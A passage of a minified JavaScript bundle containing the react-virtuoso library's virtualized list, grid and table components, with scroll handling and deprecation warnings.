tY(wY(a),i),{totalListHeight:a,totalListHeightChanged:i}}),qZ(GY,U$),{singleton:!0}),Y$=SY((function(e){var t=e[0],n=t.scrollBy,r=t.scrollTop,o=t.deviation,i=t.scrollingInProgress,a=e[1],l=a.isScrolling,s=a.isAtBottom,u=a.atBottomState,c=a.scrollDirection,f=e[3],d=f.beforeUnshiftWith,p=f.shiftWithOffset,h=f.sizes,m=e[4].log,g=iY(sY(e[2].listState,yY(a.lastJumpDueToItemResize),hY((function(e,t){var n=e[1],r=t[0],o=r.items,i=r.totalCount,a=r.bottom+r.offsetBottom,l=0;return e[2]===i&&n.length>0&&o.length>0&&(0===o[0].originalIndex&&0===n[0].originalIndex||0!=(l=a-e[3])&&(l+=t[1])),[l,o,i,a]}),[0,[],0,0]),fY((function(e){return 0!==e[0]})),yY(r,c,i,m,s,u),fY((function(e){return!e[3]&&0!==e[1]&&e[2]===C$})),dY((function(e){var t=e[0][0];return(0,e[4])("Upward scrolling compensation",{amount:t},LY.DEBUG),t}))));return tY(sY(g,yY(o),dY((function(e){return e[1]-e[0]}))),o),XZ(sY(EY(aY(l,!1),o),fY((function(e){return!e[0]&&0!==e[1]})),dY((function(e){return e[1]})),gY(1)),(function(e){e>0?(QZ(n,{top:-e,behavior:"auto"}),QZ(o,0)):(QZ(o,0),QZ(n,{top:-e,behavior:"auto"}))})),tY(sY(p,dY((function(e){return{top:-e}}))),n),tY(sY(d,yY(h),dY((function(e){return e[0]*e[1].lastSize}))),g),{deviation:o}}),qZ(GY,O$,U$,b$,FY)),$$=SY((function(e){var t=e[0].totalListHeight,n=e[1].didMount,r=e[2].scrollTo,o=oY(0);return XZ(sY(n,yY(o),fY((function(e){return 0!==e[1]})),dY((function(e){return{top:e[1]}}))),(function(e){nY(sY(t,fY((function(e){return 0!==e}))),(function(){setTimeout((function(){QZ(r,e)}))}))})),{initialScrollTop:o}}),qZ(Z$,A$,GY),{singleton:!0}),K$=SY((function(e){var t=e[0].viewportHeight,n=e[1].totalListHeight,r=oY(!1);return{alignToBottom:r,paddingTopAddition:aY(sY(EY(r,t,n),fY((function(e){return e[0]})),dY((function(e){return Math.max(0,e[1]-e[2])})),cY()),0)}}),qZ(GY,Z$),{singleton:!0}),X$=SY((function(e){var t=e[0],n=t.scrollTo,r=t.scrollContainerState,o=rY(),i=rY(),a=rY(),l=oY(!1),s=oY(void 0);return tY(sY(EY(o,i),dY((function(e){var t=e[0],n=t.viewportHeight,r=t.scrollHeight;return{scrollTop:Math.max(0,t.scrollTop-e[1].offsetTop),scrollHeight:r,viewportHeight:n}}))),r),tY(sY(n,yY(i),dY((function(e){var t=e[0];return kY({},t,{top:t.top+e[1].offsetTop})}))),a),{useWindowScroll:l,customScrollParent:s,windowScrollContainerState:o,windowViewportRect:i,windowScrollTo:a}}),qZ(GY)),Q$=SY((function(e){var t=e[0],n=t.sizes,r=t.totalCount,o=e[1],i=o.scrollTop,a=o.viewportHeight,l=o.headerHeight,s=o.scrollingInProgress,u=e[2].scrollToIndex,c=rY();return tY(sY(c,yY(n,a,r,l,i),dY((function(e){var t=e[0],n=t.index,r=t.behavior,o=void 0===r?"auto":r,i=t.done,a=e[1],l=e[2],u=e[4],c=e[5],f=e[3]-1,d=null;n=g$(n,a);var p=m$(n=Math.max(0,n,Math.min(f,n)),a.offsetTree)+u;return p<c?d={index:n,behavior:o,align:"start"}:p+KY(a.sizeTree,n)[1]>c+l&&(d={index:n,behavior:o,align:"end"}),d?i&&nY(sY(s,mY(1),fY((function(e){return!1===e}))),i):i&&i(),d})),fY((function(e){return null!==e}))),u),{scrollIntoView:c}}),qZ(b$,GY,S$,U$,FY),{singleton:!0}),J$=["listState","topItemsIndexes"],eK=SY((function(e){return kY({},e[0],e[1],e[2],e[3],e[4],e[5],e[6],e[7],e[8])}),qZ(N$,G$,A$,W$,Z$,$$,K$,X$,Q$)),tK=SY((function(e){var t=e[0],n=t.totalCount,r=t.sizeRanges,o=t.fixedItemSize,i=t.defaultItemSize,a=t.trackItemSizes,l=t.itemSize,s=t.data,u=t.firstItemIndex,c=t.groupIndices,f=t.statefulTotalCount,d=e[1],p=d.initialTopMostItemIndex,h=d.scrolledToInitialItem,m=e[2],g=e[3],v=e[4],y=v.listState,b=v.topItemsIndexes,w=PY(v,J$),E=e[5].scrollToIndex,S=e[7].topItemCount,C=e[8].groupCounts,x=e[9],O=e[10];return tY(w.rangeChanged,x.scrollSeekRangeChanged),tY(sY(x.windowViewportRect,dY(GZ("visibleHeight"))),m.viewportHeight),kY({totalCount:n,data:s,firstItemIndex:u,sizeRanges:r,initialTopMostItemIndex:p,scrolledToInitialItem:h,topItemsIndexes:b,topItemCount:S,groupCounts:C,fixedItemHeight:o,defaultItemHeight:i},g,{statefulTotalCount:f,listState:y,scrollToIndex:E,trackItemSizes:a,itemSize:l,groupIndices:c},w,x,m,O)}),qZ(b$,_$,GY,k$,U$,S$,Y$,q$,M$,eK,FY)),nK=(H$=function(){if("undefined"==typeof document)return"sticky";var e=document.createElement("div");return e.style.position="-webkit-sticky","-webkit-sticky"===e.style.position?"-webkit-sticky":"sticky"},z$=!1,function(){return z$||(z$=!0,V$=H$()),V$});function rK(e,t){var n=Object(l.useRef)(null),r=Object(l.useCallback)((function(r){if(null!==r){var o,i,a=r.getBoundingClientRect(),l=a.width;if(t){var s=t.getBoundingClientRect(),u=a.top-s.top;o=s.height-Math.max(0,u),i=u+t.scrollTop}else o=window.innerHeight-Math.max(0,a.top),i=a.top+window.pageYOffset;n.current={offsetTop:i,visibleHeight:o,visibleWidth:l},e(n.current)}}),[e,t]),o=BY(r),i=o.callbackRef,a=o.ref,s=Object(l.useCallback)((function(){r(a.current)}),[r,a]);return Object(l.useEffect)((function(){if(t){t.addEventListener("scroll",s);var e=new ResizeObserver(s);return e.observe(t),function(){t.removeEventListener("scroll",s),e.unobserve(t)}}return window.addEventListener("scroll",s),window.addEventListener("resize",s),function(){window.removeEventListener("scroll",s),window.removeEventListener("resize",s)}}),[s,t]),i}var oK=["placeholder"],iK=["style","children"],aK=["style","children"];function lK(e){return e}var sK=SY((function(){var e=oY((function(e){return"Item "+e})),t=oY(null),n=oY((function(e){return"Group "+e})),r=oY({}),o=oY(lK),i=oY("div"),a=oY(KZ),l=function(e,t){return void 0===t&&(t=null),aY(sY(r,dY((function(t){return t[e]})),cY()),t)};return{context:t,itemContent:e,groupContent:n,components:r,computeItemKey:o,headerFooterTag:i,scrollerRef:a,FooterComponent:l("Footer"),HeaderComponent:l("Header"),TopItemListComponent:l("TopItemList"),ListComponent:l("List","div"),ItemComponent:l("Item","div"),GroupComponent:l("Group","div"),ScrollerComponent:l("Scroller","div"),EmptyPlaceholder:l("EmptyPlaceholder"),ScrollSeekPlaceholder:l("ScrollSeekPlaceholder")}}));function uK(e,t){var n=rY();return XZ(n,(function(){return console.warn("react-virtuoso: You are using a deprecated property. "+t,"color: red;","color: inherit;","color: blue;")})),tY(n,e),n}var cK=SY((function(e){var t=e[0],n=e[1],r={item:uK(n.itemContent,"Rename the %citem%c prop to %citemContent."),group:uK(n.groupContent,"Rename the %cgroup%c prop to %cgroupContent."),topItems:uK(t.topItemCount,"Rename the %ctopItems%c prop to %ctopItemCount."),itemHeight:uK(t.fixedItemHeight,"Rename the %citemHeight%c prop to %cfixedItemHeight."),scrollingStateChange:uK(t.isScrolling,"Rename the %cscrollingStateChange%c prop to %cisScrolling."),adjustForPrependedItems:rY(),maxHeightCacheSize:rY(),footer:rY(),header:rY(),HeaderContainer:rY(),FooterContainer:rY(),ItemContainer:rY(),ScrollContainer:rY(),GroupContainer:rY(),ListContainer:rY(),emptyComponent:rY(),scrollSeek:rY()};function o(e,t,r){tY(sY(e,yY(n.components),dY((function(e){var n,o=e[0],i=e[1];return console.warn("react-virtuoso: "+r+" property is deprecated. Pass components."+t+" instead."),kY({},i,((n={})[t]=o,n))}))),n.components)}return XZ(r.adjustForPrependedItems,(function(){console.warn("react-virtuoso: adjustForPrependedItems is no longer supported. Use the firstItemIndex property instead - https://virtuoso.dev/prepend-items.","color: red;","color: inherit;","color: blue;")})),XZ(r.maxHeightCacheSize,(function(){console.warn("react-virtuoso: maxHeightCacheSize is no longer necessary. Setting it has no effect - remove it from your code.")})),XZ(r.HeaderContainer,(function(){console.warn("react-virtuoso: HeaderContainer is deprecated. Use headerFooterTag if you want to change the wrapper of the header component and pass components.Header to change its contents.")})),XZ(r.FooterContainer,(function(){console.warn("react-virtuoso: FooterContainer is deprecated. Use headerFooterTag if you want to change the wrapper of the footer component and pass components.Footer to change its contents.")})),XZ(r.scrollSeek,(function(e){var r=e.placeholder,o=PY(e,oK);console.warn("react-virtuoso: scrollSeek property is deprecated. Pass scrollSeekConfiguration and specify the placeholder in components.ScrollSeekPlaceholder instead."),QZ(n.components,kY({},eY(n.components),{ScrollSeekPlaceholder:r})),QZ(t.scrollSeekConfiguration,o)})),o(r.footer,"Footer","footer"),o(r.header,"Header","header"),o(r.ItemContainer,"Item","ItemContainer"),o(r.ListContainer,"List","ListContainer"),o(r.ScrollContainer,"Scroller","ScrollContainer"),o(r.emptyComponent,"EmptyPlaceholder","emptyComponent"),o(r.GroupContainer,"Group","GroupContainer"),kY({},t,n,r)}),qZ(tK,sK)),fK=function(e){return l.createElement("div",{style:{height:e.height}})},dK={position:nK(),zIndex:1,overflowAnchor:"none"},pK={overflowAnchor:"none"},hK=l.memo((function(e){var t=e.showTopList,n=void 0!==t&&t,r=kK("listState"),o=TK("sizeRanges"),i=kK("useWindowScroll"),a=kK("customScrollParent"),s=TK("windowScrollContainerState"),u=TK("scrollContainerState"),c=a||i?s:u,f=kK("itemContent"),d=kK("context"),p=kK("groupContent"),h=kK("trackItemSizes"),m=VY(o,kK("itemSize"),h,n?KZ:c,kK("log"),a),g=m.callbackRef,v=m.ref,y=l.useState(0),b=y[0],w=y[1];PK("deviation",(function(e){b!==e&&(v.current.style.marginTop=e+"px",w(e))}));var E=kK("EmptyPlaceholder"),S=kK("ScrollSeekPlaceholder")||fK,C=kK("ListComponent"),x=kK("ItemComponent"),O=kK("GroupComponent"),A=kK("computeItemKey"),_=kK("isSeeking"),T=kK("groupIndices").length>0,k=kK("paddingTopAddition"),P=kK("firstItemIndex"),M=kK("statefulTotalCount"),R=n?{}:{boxSizing:"border-box",paddingTop:r.offsetTop+k,paddingBottom:r.offsetBottom,marginTop:b};return!n&&0===M&&E?Object(l.createElement)(E,yK(E,d)):Object(l.createElement)(C,kY({},yK(C,d),{ref:g,style:R,"data-test-id":n?"virtuoso-top-item-list":"virtuoso-item-list"}),(n?r.topItems:r.items).map((function(e){var t=e.originalIndex,n=A(t+P,e.data,d);return _?Object(l.createElement)(S,kY({},yK(S,d),{key:n,index:e.index,height:e.size,type:e.type||"item"},"group"===e.type?{}:{groupIndex:e.groupIndex})):"group"===e.type?Object(l.createElement)(O,kY({},yK(O,d),{key:n,"data-index":t,"data-known-size":e.size,"data-item-index":e.index,style:dK}),p(e.index)):Object(l.createElement)(x,kY({},yK(x,d),{key:n,"data-index":t,"data-known-size":e.size,"data-item-index":e.index,"data-item-group-index":e.groupIndex,style:pK}),T?f(e.index,e.groupIndex,e.data,d):f(e.index,e.data,d))})))})),mK={height:"100%",outline:"none",overflowY:"auto",position:"relative",WebkitOverflowScrolling:"touch"},gK={width:"100%",height:"100%",position:"absolute",top:0},vK={width:"100%",position:nK(),top:0};function yK(e,t){if("string"!=typeof e)return{context:t}}var bK=l.memo((function(){var e=kK("HeaderComponent"),t=TK("headerHeight"),n=kK("headerFooterTag"),r=HY((function(e){return t(zY(e,"height"))})),o=kK("context");return e?Object(l.createElement)(n,{ref:r},Object(l.createElement)(e,yK(e,o))):null})),wK=l.memo((function(){var e=kK("FooterComponent"),t=TK("footerHeight"),n=kK("headerFooterTag"),r=HY((function(e){return t(zY(e,"height"))})),o=kK("context");return e?Object(l.createElement)(n,{ref:r},Object(l.createElement)(e,yK(e,o))):null}));function EK(e){var t=e.usePublisher,n=e.useEmitter,r=e.useEmitterValue;return l.memo((function(e){var o=e.style,i=e.children,a=PY(e,iK),s=t("scrollContainerState"),u=r("ScrollerComponent"),c=t("smoothScrollTargetReached"),f=r("scrollerRef"),d=r("context"),p=UY(s,c,u,f),h=p.scrollerRef,m=p.scrollByCallback;return n("scrollTo",p.scrollToCallback),n("scrollBy",m),Object(l.createElement)(u,kY({ref:h,style:kY({},mK,o),"data-test-id":"virtuoso-scroller","data-virtuoso-scroller":!0,tabIndex:0},a,yK(u,d)),i)}))}function SK(e){var t=e.usePublisher,n=e.useEmitter,r=e.useEmitterValue;return l.memo((function(e){var o=e.style,i=e.children,a=PY(e,aK),s=t("windowScrollContainerState"),u=r("ScrollerComponent"),c=t("smoothScrollTargetReached"),f=r("totalListHeight"),d=r("deviation"),p=r("customScrollParent"),h=r("context"),m=UY(s,c,u,KZ,p),g=m.scrollerRef,v=m.scrollByCallback,y=m.scrollToCallback;return NY((function(){return g.current=p||window,function(){g.current=null}}),[g,p]),n("windowScrollTo",y),n("scrollBy",v),Object(l.createElement)(u,kY({style:kY({position:"relative"},o,0!==f?{height:f+d}:{}),"data-virtuoso-scroller":!0},a,yK(u,h)),i)}))}var CK=function(e){var t=e.children,n=HY(HZ(TK("viewportHeight"),(function(e){return zY(e,"height")})));return l.createElement("div",{style:gK,ref:n,"data-viewport-type":"element"},t)},xK=function(e){var t=e.children,n=rK(TK("windowViewportRect"),kK("customScrollParent"));return l.createElement("div",{ref:n,style:gK,"data-viewport-type":"window"},t)},OK=function(e){var t=e.children,n=kK("TopItemListComponent"),r=kK("headerHeight"),o=kY({},vK,{marginTop:r+"px"}),i=kK("context");return Object(l.createElement)(n||"div",{style:o,context:i},t)},AK=TY(cK,{required:{},optional:{context:"context",followOutput:"followOutput",firstItemIndex:"firstItemIndex",itemContent:"itemContent",groupContent:"groupContent",overscan:"overscan",increaseViewportBy:"increaseViewportBy",totalCount:"totalCount",topItemCount:"topItemCount",initialTopMostItemIndex:"initialTopMostItemIndex",components:"components",groupCounts:"groupCounts",atBottomThreshold:"atBottomThreshold",atTopThreshold:"atTopThreshold",computeItemKey:"computeItemKey",defaultItemHeight:"defaultItemHeight",fixedItemHeight:"fixedItemHeight",itemSize:"itemSize",scrollSeekConfiguration:"scrollSeekConfiguration",headerFooterTag:"headerFooterTag",data:"data",initialItemCount:"initialItemCount",initialScrollTop:"initialScrollTop",alignToBottom:"alignToBottom",useWindowScroll:"useWindowScroll",customScrollParent:"customScrollParent",scrollerRef:"scrollerRef",logLevel:"logLevel",react18ConcurrentRendering:"react18ConcurrentRendering",item:"item",group:"group",topItems:"topItems",itemHeight:"itemHeight",scrollingStateChange:"scrollingStateChange",maxHeightCacheSize:"maxHeightCacheSize",footer:"footer",header:"header",ItemContainer:"ItemContainer",ScrollContainer:"ScrollContainer",ListContainer:"ListContainer",GroupContainer:"GroupContainer",emptyComponent:"emptyComponent",HeaderContainer:"HeaderContainer",FooterContainer:"FooterContainer",scrollSeek:"scrollSeek"},methods:{scrollToIndex:"scrollToIndex",scrollIntoView:"scrollIntoView",scrollTo:"scrollTo",scrollBy:"scrollBy",adjustForPrependedItems:"adjustForPrependedItems"},events:{isScrolling:"isScrolling",endReached:"endReached",startReached:"startReached",rangeChanged:"rangeChanged",atBottomStateChange:"atBottomStateChange",atTopStateChange:"atTopStateChange",totalListHeightChanged:"totalListHeightChanged",itemsRendered:"itemsRendered",groupIndices:"groupIndices"}},l.memo((function(e){var t=kK("useWindowScroll"),n=kK("topItemsIndexes").length>0,r=kK("customScrollParent"),o=r||t?xK:CK;return l.createElement(r||t?RK:MK,kY({},e),l.createElement(o,null,l.createElement(bK,null),l.createElement(hK,null),l.createElement(wK,null)),n&&l.createElement(OK,null,l.createElement(hK,{showTopList:!0})))}))),_K=AK.Component,TK=AK.usePublisher,kK=AK.useEmitterValue,PK=AK.useEmitter,MK=EK({usePublisher:TK,useEmitterValue:kK,useEmitter:PK}),RK=SK({usePublisher:TK,useEmitterValue:kK,useEmitter:PK}),jK={items:[],offsetBottom:0,offsetTop:0,top:0,bottom:0,itemHeight:0,itemWidth:0},LK={items:[{index:0}],offsetBottom:0,offsetTop:0,top:0,bottom:0,itemHeight:0,itemWidth:0},IK=Math.round,NK=Math.ceil,DK=Math.floor,FK=Math.min,BK=Math.max;function HK(e,t){return Array.from({length:t-e+1}).map((function(t,n){return{index:n+e}}))}var VK=SY((function(e){var t=e[0],n=t.overscan,r=t.visibleRange,o=t.listBoundary,i=e[1],a=i.scrollTop,l=i.viewportHeight,s=i.scrollBy,u=i.scrollTo,c=i.smoothScrollTargetReached,f=i.scrollContainerState,d=e[2],p=e[3],h=e[4],m=h.propsReady,g=h.didMount,v=e[5],y=v.windowViewportRect,b=v.windowScrollTo,w=v.useWindowScroll,E=v.customScrollParent,S=v.windowScrollContainerState,C=oY(0),x=oY(0),O=oY(jK),A=oY({height:0,width:0}),_=oY({height:0,width:0}),T=rY(),k=rY(),P=oY(0);tY(sY(g,yY(x),fY((function(e){return 0!==e[1]})),dY((function(e){return{items:HK(0,e[1]-1),top:0,bottom:0,offsetBottom:0,offsetTop:0,itemHeight:0,itemWidth:0}}))),O),tY(sY(EY(wY(C),r,wY(_,(function(e,t){return e&&e.width===t.width&&e.height===t.height}))),yY(A),dY((function(e){var t=e[0],n=t[0],r=t[1],o=r[0],i=r[1],a=t[2],l=e[1],s=a.height,u=a.width,c=l.width;if(0===n||0===c)return jK;if(0===u)return LK;var f=GK(c,u),d=f*DK(o/s),p=f*NK(i/s)-1;p=FK(n-1,p);var h=HK(d=FK(p,BK(0,d)),p),m=zK(l,a,h),g=m.top,v=m.bottom;return{items:h,offsetTop:g,offsetBottom:NK(n/f)*s-v,top:g,bottom:v,itemHeight:s,itemWidth:u}}))),O),tY(sY(A,dY((function(e){return e.height}))),l),tY(sY(EY(A,_,O),dY((function(e){var t=zK(e[0],e[1],e[2].items);return[t.top,t.bottom]})),cY(R$)),o);var M=iY(sY(wY(O),fY((function(e){return e.items.length>0})),yY(C),fY((function(e){var t=e[0].items;return t[t.length-1].index===e[1]-1})),dY((function(e){return e[1]-1})),cY())),R=iY(sY(wY(O),fY((function(e){var t=e.items;return t.length>0&&0===t[0].index})),pY(0),cY())),j=iY(sY(wY(O),fY((function(e){return e.items.length>0})),dY((function(e){var t=e.items;return{startIndex:t[0].index,endIndex:t[t.length-1].index}})),cY(j$)));tY(j,p.scrollSeekRangeChanged),tY(sY(T,yY(A,_,C),dY((function(e){var t=e[1],n=e[2],r=e[3],o=E$(e[0]),i=o.align,a=o.behavior,l=o.offset,s=o.index;"LAST"===s&&(s=r-1);var u=UK(t,n,s=BK(0,s,FK(r-1,s)));return"end"===i?u=IK(u-t.height+n.height):"center"===i&&(u=IK(u-t.height/2+n.height/2)),l&&(u+=l),{top:u,behavior:a}}))),u);var L=aY(sY(O,dY((function(e){return e.offsetBottom+e.bottom}))),0);return tY(sY(y,dY((function(e){return{width:e.visibleWidth,height:e.visibleHeight}}))),A),kY({totalCount:C,viewportDimensions:A,itemDimensions:_,scrollTop:a,scrollHeight:k,overscan:n,scrollBy:s,scrollTo:u,scrollToIndex:T,smoothScrollTargetReached:c,windowViewportRect:y,windowScrollTo:b,useWindowScroll:w,customScrollParent:E,windowScrollContainerState:S,deviation:P,scrollContainerState:f,initialItemCount:x},p,{gridState:O,totalListHeight:L},d,{startReached:R,endReached:M,rangeChanged:j,propsReady:m})}),qZ(N$,GY,O$,W$,A$,X$));function zK(e,t,n){var r=t.height;return void 0===r||0===n.length?{top:0,bottom:0}:{top:UK(e,t,n[0].index),bottom:UK(e,t,n[n.length-1].index)+r}}function UK(e,t,n){var r=GK(e.width,t.width);return DK(n/r)*t.height}function GK(e,t){return BK(1,DK(e/t))}var WK=["placeholder"],qK=SY((function(){var e=oY((function(e){return"Item "+e})),t=oY({}),n=oY(null),r=oY("virtuoso-grid-item"),o=oY("virtuoso-grid-list"),i=oY(lK),a=oY(KZ),l=function(e,n){return void 0===n&&(n=null),aY(sY(t,dY((function(t){return t[e]})),cY()),n)};return{context:n,itemContent:e,components:t,computeItemKey:i,itemClassName:r,listClassName:o,scrollerRef:a,ListComponent:l("List","div"),ItemComponent:l("Item","div"),ScrollerComponent:l("Scroller","div"),ScrollSeekPlaceholder:l("ScrollSeekPlaceholder","div")}})),ZK=SY((function(e){var t=e[0],n=e[1],r={item:uK(n.itemContent,"Rename the %citem%c prop to %citemContent."),ItemContainer:rY(),ScrollContainer:rY(),ListContainer:rY(),emptyComponent:rY(),scrollSeek:rY()};function o(e,t,r){tY(sY(e,yY(n.components),dY((function(e){var n,o=e[0],i=e[1];return console.warn("react-virtuoso: "+r+" property is deprecated. Pass components."+t+" instead."),kY({},i,((n={})[t]=o,n))}))),n.components)}return XZ(r.scrollSeek,(function(e){var r=e.placeholder,o=PY(e,WK);console.warn("react-virtuoso: scrollSeek property is deprecated. Pass scrollSeekConfiguration and specify the placeholder in components.ScrollSeekPlaceholder instead."),QZ(n.components,kY({},eY(n.components),{ScrollSeekPlaceholder:r})),QZ(t.scrollSeekConfiguration,o)})),o(r.ItemContainer,"Item","ItemContainer"),o(r.ListContainer,"List","ListContainer"),o(r.ScrollContainer,"Scroller","ScrollContainer"),kY({},t,n,r)}),qZ(VK,qK)),YK=l.memo((function(){var e=JK("gridState"),t=JK("listClassName"),n=JK("itemClassName"),r=JK("itemContent"),o=JK("computeItemKey"),i=JK("isSeeking"),a=QK("scrollHeight"),s=JK("ItemComponent"),u=JK("ListComponent"),c=JK("ScrollSeekPlaceholder"),f=JK("context"),d=QK("itemDimensions"),p=HY((function(e){a(e.parentElement.parentElement.scrollHeight);var t=e.firstChild;t&&d(t.getBoundingClientRect())}));return Object(l.createElement)(u,kY({ref:p,className:t},yK(u,f),{style:{paddingTop:e.offsetTop,paddingBottom:e.offsetBottom}}),e.items.map((function(t){var a=o(t.index);return i?Object(l.createElement)(c,kY({key:a},yK(c,f),{index:t.index,height:e.itemHeight,width:e.itemWidth})):Object(l.createElement)(s,kY({},yK(s,f),{className:n,"data-index":t.index,key:a}),r(t.index,f))})))})),$K=function(e){var t=e.children,n=QK("viewportDimensions"),r=HY((function(e){n(e.getBoundingClientRect())}));return l.createElement("div",{style:gK,ref:r},t)},KK=function(e){var t=e.children,n=rK(QK("windowViewportRect"),JK("customScrollParent"));return l.createElement("div",{ref:n,style:gK},t)},XK=TY(ZK,{optional:{totalCount:"totalCount",overscan:"overscan",itemContent:"itemContent",components:"components",computeItemKey:"computeItemKey",initialItemCount:"initialItemCount",scrollSeekConfiguration:"scrollSeekConfiguration",listClassName:"listClassName",itemClassName:"itemClassName",useWindowScroll:"useWindowScroll",customScrollParent:"customScrollParent",scrollerRef:"scrollerRef",item:"item",ItemContainer:"ItemContainer",ScrollContainer:"ScrollContainer",ListContainer:"ListContainer",scrollSeek:"scrollSeek"},methods:{scrollTo:"scrollTo",scrollBy:"scrollBy",scrollToIndex:"scrollToIndex"},events:{isScrolling:"isScrolling",endReached:"endReached",startReached:"startReached",rangeChanged:"rangeChanged",atBottomStateChange:"atBottomStateChange",atTopStateChange:"atTopStateChange"}},l.memo((function(e){var t=kY({},e),n=JK("useWindowScroll"),r=JK("customScrollParent"),o=r||n?KK:$K;return l.createElement(r||n?nX:tX,kY({},t),l.createElement(o,null,l.createElement(YK,null)))}))),QK=(XK.Component,XK.usePublisher),JK=XK.useEmitterValue,eX=XK.useEmitter,tX=EK({usePublisher:QK,useEmitterValue:JK,useEmitter:eX}),nX=SK({usePublisher:QK,useEmitterValue:JK,useEmitter:eX}),rX=SY((function(){var e=oY((function(e){return l.createElement("td",null,"Item $",e)})),t=oY(null),n=oY(null),r=oY({}),o=oY(lK),i=oY(KZ),a=function(e,t){return void 0===t&&(t=null),aY(sY(r,dY((function(t){return t[e]})),cY()),t)};return{context:t,itemContent:e,fixedHeaderContent:n,components:r,computeItemKey:o,scrollerRef:i,TableComponent:a("Table","table"),TableHeadComponent:a("TableHead","thead"),TableBodyComponent:a("TableBody","tbody"),TableRowComponent:a("TableRow","tr"),ScrollerComponent:a("Scroller","div"),EmptyPlaceholder:a("EmptyPlaceholder"),ScrollSeekPlaceholder:a("ScrollSeekPlaceholder"),FillerRow:a("FillerRow")}})),oX=SY((function(e){return kY({},e[0],e[1])}),qZ(tK,rX)),iX=function(e){return l.createElement("tr",null,l.createElement("td",{style:{height:e.height}}))},aX=function(e){return l.createElement("tr",null,l.createElement("td",{style:{height:e.height,padding:0,border:0}}))},lX=l.memo((function(){var e=dX("listState"),t=fX("sizeRanges"),n=dX("useWindowScroll"),r=dX("customScrollParent"),o=fX("windowScrollContainerState"),i=fX("scrollContainerState"),a=r||n?o:i,s=dX("itemContent"),u=dX("trackItemSizes"),c=VY(t,dX("itemSize"),u,a,dX("log"),r),f=c.callbackRef,d=c.ref,p=l.useState(0),h=p[0],m=p[1];pX("deviation",(function(e){h!==e&&(d.current.style.marginTop=e+"px",m(e))}));var g=dX("EmptyPlaceholder"),v=dX("ScrollSeekPlaceholder")||iX,y=dX("FillerRow")||aX,b=dX("TableBodyComponent"),w=dX("TableRowComponent"),E=dX("computeItemKey"),S=dX("isSeeking"),C=dX("paddingTopAddition"),x=dX("firstItemIndex"),O=dX("statefulTotalCount"),A=dX("context");if(0===O&&g)return Object(l.createElement)(g,yK(g,A));var _=e.offsetTop+C+h,T=e.offsetBottom,k=_>0?l.createElement(y,{height:_,key:"padding-top"}):null,P=T>0?l.createElement(y,{height:T,key:"padding-bottom"}):null,M=e.items.map((function(e){var t=e.originalIndex,n=E(t+x,e.data,A);return S?Object(l.createElement)(v,kY({},yK(v,A),{key:n,index:e.index,height:e.size,type:e.type||"item"})):Object(l.createElement)(w,kY({},yK(w,A),{key:n,"data-index":t,"data-known-size":e.size,"data-item-index":e.index,style:{overflowAnchor:"none"}}),s(e.index,e.data,A))}));return Object(l.createElement)(b,kY({ref:f,"data-test-id":"virtuoso-item-list"},yK(b,A)),[k].concat(M,[P]))})),sX=function(e){var t=e.children,n=HY(HZ(fX("viewportHeight"),(function(e){return zY(e,"height")})));return l.createElement("div",{style:gK,ref:n,"data-viewport-type":"element"},t)},uX=function(e){var t=e.children,n=rK(fX("windowViewportRect"),dX("customScrollParent"));return l.createElement("div",{ref:n,style:gK,"data-viewport-type":"window"},t)},cX=TY(oX,{required:{},optional:{context:"context",followOutput:"followOutput",firstItemIndex:"firstItemIndex",itemContent:"itemContent",fixedHeaderContent:"fixedHeaderContent",overscan:"overscan",increaseViewportBy:"increaseViewportBy",totalCount:"totalCount",topItemCount:"topItemCount",initialTopMostItemIndex:"initialTopMostItemIndex",components:"components",groupCounts:"groupCounts",atBottomThreshold:"atBottomThreshold",atTopThreshold:"atTopThreshold",computeItemKey:"computeItemKey",defaultItemHeight:"defaultItemHeight",fixedItemHeight:"fixedItemHeight",itemSize:"itemSize",scrollSeekConfiguration:"scrollSeekConfiguration",data:"data",initialItemCount:"initialItemCount",initialScrollTop:"initialScrollTop",alignToBottom:"alignToBottom",useWindowScroll:"useWindowScroll",customScrollParent:"customScrollParent",scrollerRef:"scrollerRef",logLevel:"logLevel",react18ConcurrentRendering:"react18ConcurrentRendering"},methods:{scrollToIndex:"scrollToIndex",scrollIntoView:"scrollIntoView",scrollTo:"scrollTo",scrollBy:"scrollBy"},events:{isScrolling:"isScrolling",endReached:"endReached",startReached:"startReached",rangeChanged:"rangeChanged",atBottomStateChange:"atBottomStateChange",atTopStateChange:"atTopStateChange",totalListHeightChanged:"totalListHeightChanged",itemsRendered:"itemsRendered",groupIndices:"groupIndices"}},l.memo((function(e){var t=dX("useWindowScroll"),n=dX("customScrollParent"),r=fX("fixedHeaderHeight"),o=dX("fixedHeaderContent"),i=dX("context"),a=HY(HZ(r,(function(e){return zY(e,"height")}))),s=n||t?mX:hX,u=n||t?uX:sX,c=dX("TableComponent"),f=dX("TableHeadComponent"),d=o?l.createElement(f,kY({key:"TableHead",style:{zIndex:1,position:"sticky",top:0},ref:a},yK(f,i)),o()):null;return l.createElement(s,kY({},e),l.createElement(u,null,l.createElement(c,kY({style:{borderSpacing:0}},yK(c,i)),[d,l.createElement(lX,{key:"TableBody"})])))}))),fX=(cX.Component,cX.usePublisher),dX=cX.useEmitterValue,pX=cX.useEmitter,hX=EK({usePublisher:fX,useEmitterValue:dX,useEmitter:pX}),mX=SK({usePublisher:fX,useEmitterValue:dX,useEmitter:pX}),gX=_K;function vX(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return yX(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return yX(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function yX(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var bX=s.a.createContext(),wX=function(e){var 